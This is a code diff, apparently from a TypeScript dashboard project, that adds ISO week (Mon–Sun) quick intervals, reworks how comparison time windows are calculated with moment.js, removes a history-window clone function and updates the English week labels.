619 630 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
620   - return currentDate.subtract(1, 'week').valueOf();
621   - case QuickTimeInterval.PREVIOUS_MONTH:
622   - case QuickTimeInterval.CURRENT_MONTH:
623   - currentDate.subtract(1, 'months');
624   - return currentDate.endOf('month').valueOf();
  631 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  632 + return endDate.subtract(1, 'week').valueOf();
625 633 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
626   - return currentDate.subtract(1, 'month').valueOf();
627   - case QuickTimeInterval.PREVIOUS_YEAR:
628   - case QuickTimeInterval.CURRENT_YEAR:
629   - currentDate.subtract(1, 'years');
630   - return currentDate.endOf('year').valueOf();
  634 + return endDate.subtract(1, 'month').valueOf();
631 635 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
632   - return currentDate.subtract(1, 'year').valueOf();
633   - case QuickTimeInterval.CURRENT_HOUR:
634   - currentDate.subtract(1, 'hour');
635   - return currentDate.endOf('hour').valueOf();
  636 + return endDate.subtract(1, 'year').valueOf();
  637 + default:
  638 + return calculateIntervalEndTime(interval, comparisonStartDate);
636 639 }
637 640 }
638 641
... ... @@ -656,8 +659,9 @@ export function createTimewindowForComparison(subscriptionTimewindow: Subscripti
656 659 startDate.tz(subscriptionTimewindow.timezone);
657 660 endDate.tz(subscriptionTimewindow.timezone);
658 661 }
659   - startTimeMs = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);
660   - endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, endDate);
  662 + const comparisonStartDate = calculateIntervalComparisonStartTime(subscriptionTimewindow.quickInterval, startDate);
  663 + startTimeMs = comparisonStartDate.valueOf();
  664 + endTimeMs = calculateIntervalComparisonEndTime(subscriptionTimewindow.quickInterval, comparisonStartDate, endDate);
661 665 } else {
662 666 const timeInterval = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
663 667 endTimeMs = subscriptionTimewindow.fixedWindow.startTimeMs;
... ... @@ -697,22 +701,6 @@ export function cloneSelectedTimewindow(timewindow: Timewindow): Timewindow {
697 701 return cloned;
698 702 }
699 703
700   -export function cloneSelectedHistoryTimewindow(historyWindow: HistoryWindow): HistoryWindow {
701   - const cloned: HistoryWindow = {};
702   - if (isDefined(historyWindow.historyType)) {
703   - cloned.historyType = historyWindow.historyType;
704   - cloned.interval = historyWindow.interval;
705   - if (historyWindow.historyType === HistoryWindowType.LAST_INTERVAL) {
706   - cloned.timewindowMs = historyWindow.timewindowMs;
707   - } else if (historyWindow.historyType === HistoryWindowType.INTERVAL) {
708   - cloned.quickInterval = historyWindow.quickInterval;
709   - } else if (historyWindow.historyType === HistoryWindowType.FIXED) {
710   - cloned.fixedTimewindow = deepClone(historyWindow.fixedTimewindow);
711   - }
712   - }
713   - return cloned;
714   -}
715   -
716 704 export interface TimeInterval {
717 705 name: string;
718 706 translateParams: {[key: string]: any};
... ... @@ -894,6 +882,14 @@ export function getCurrentTime(tz?: string): moment_.Moment {
894 882 }
895 883 }
896 884
  885 +export function getTime(ts: number, tz?: string): moment_.Moment {
  886 + if (tz) {
  887 + return moment(ts).tz(tz);
  888 + } else {
  889 + return moment(ts);
  890 + }
  891 +}
  892 +
897 893 export function getTimezone(tz: string): moment_.Moment {
898 894 return moment.tz(tz);
899 895 }
... ...
... ... @@ -2232,14 +2232,17 @@
2232 2232 "yesterday": "Yesterday",
2233 2233 "day-before-yesterday": "Day before yesterday",
2234 2234 "this-day-last-week": "This day last week",
2235   - "previous-week": "Previous week",
  2235 + "previous-week": "Previous week (Sun - Sat)",
  2236 + "previous-week-iso": "Previous week (Mon - Sun)",
2236 2237 "previous-month": "Previous month",
2237 2238 "previous-year": "Previous year",
2238 2239 "current-hour": "Current hour",
2239 2240 "current-day": "Current day",
2240 2241 "current-day-so-far": "Current day so far",
2241   - "current-week": "Current week",
2242   - "current-week-so-far": "Current week so far",
  2242 + "current-week": "Current week (Sun - Sat)",
  2243 + "current-week-iso": "Current week (Mon - Sun)",
  2244 + "current-week-so-far": "Current week so far (Sun - Sat)",
  2245 + "current-week-iso-so-far": "Current week so far (Mon - Sun)",
2243 2246 "current-month": "Current month",
2244 2247 "current-month-so-far": "Current month so far",
2245 2248 "current-year": "Current year",
... ...